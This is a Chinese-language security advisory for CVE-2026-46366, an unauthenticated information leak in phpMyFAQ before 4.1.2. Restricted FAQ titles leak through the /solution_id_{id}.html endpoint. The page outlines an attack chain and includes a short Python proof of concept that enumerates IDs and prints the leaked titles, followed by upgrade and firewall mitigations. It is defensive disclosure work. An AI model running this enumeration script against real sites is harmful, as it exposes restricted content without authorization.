IPBUF安全漏洞报告
English
CVE-2026-46366 CVSS 7.5 高危

CVE-2026-46366 phpMyFAQ信息泄露漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46366
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

信息泄露phpMyFAQ权限绕过CVE-2026-46366

漏洞概述

phpMyFAQ在4.1.2版本之前存在一个严重的信息泄露漏洞,源于getIdFromSolutionId()方法缺乏权限过滤机制。未经身份验证的攻击者可通过/solution_id_{id}.html端点枚举受限FAQ条目。攻击者能遍历解决方案ID,发现本应仅对特定用户或组可见的FAQ。敏感元数据通过重定向Location头或页面规范链接泄露。

技术细节

该漏洞位于phpMyFAQ的getIdFromSolutionId()方法中,该方法被用于处理通过特定URL格式的FAQ访问请求。由于代码逻辑中未对当前用户会话进行权限验证,系统直接根据输入的ID查找数据库记录。当攻击者访问/solution_id_{id}.html时,若ID存在,系统会在HTTP响应头的Location字段或HTML的canonical标签中返回该条目的标题,即使攻击者无权查看正文。通过自动化脚本递增ID并发送请求,攻击者可以爬取所有FAQ标题,构建出受限制内容的索引,导致敏感信息在无认证情况下被批量获取。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标系统运行 phpMyFAQ,并确定版本低于 4.1.2。
STEP 2
步骤2:枚举
攻击者编写脚本遍历 /solution_id_{id}.html 端点,从 ID 1 开始依次递增发送 HTTP GET 请求。
STEP 3
步骤3:数据提取
分析服务器响应,从 HTTP Location 重定向头或 HTML 页面的 canonical 链接标签中提取 FAQ 标题信息。
STEP 4
步骤4:信息泄露
汇总提取到的标题数据,获取受限 FAQ 的目录结构,造成敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url_base = "http://example.com/solution_id_{}.html" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Iterate through potential solution IDs for i in range(1, 100): url = target_url_base.format(i) try: response = requests.get(url, headers=headers, allow_redirects=False, timeout=5) # Check for Location header which might contain the title location = response.headers.get('Location') if location: print(f"[+] ID {i} Found: {location}") # If redirect is followed, check content for canonical link if response.status_code == 200: # Logic to parse HTML for <link rel="canonical" ...> pass except Exception as e: print(f"[-] Error connecting to {url}: {e}")

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
建议立即将 phpMyFAQ 升级到最新修复版本。如果无法立即升级,应配置 Web 应用防火墙(WAF)规则,拦截对 /solution_id_* 路径的未授权访问请求,或在应用层临时禁用该端点功能,以防止敏感元数据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表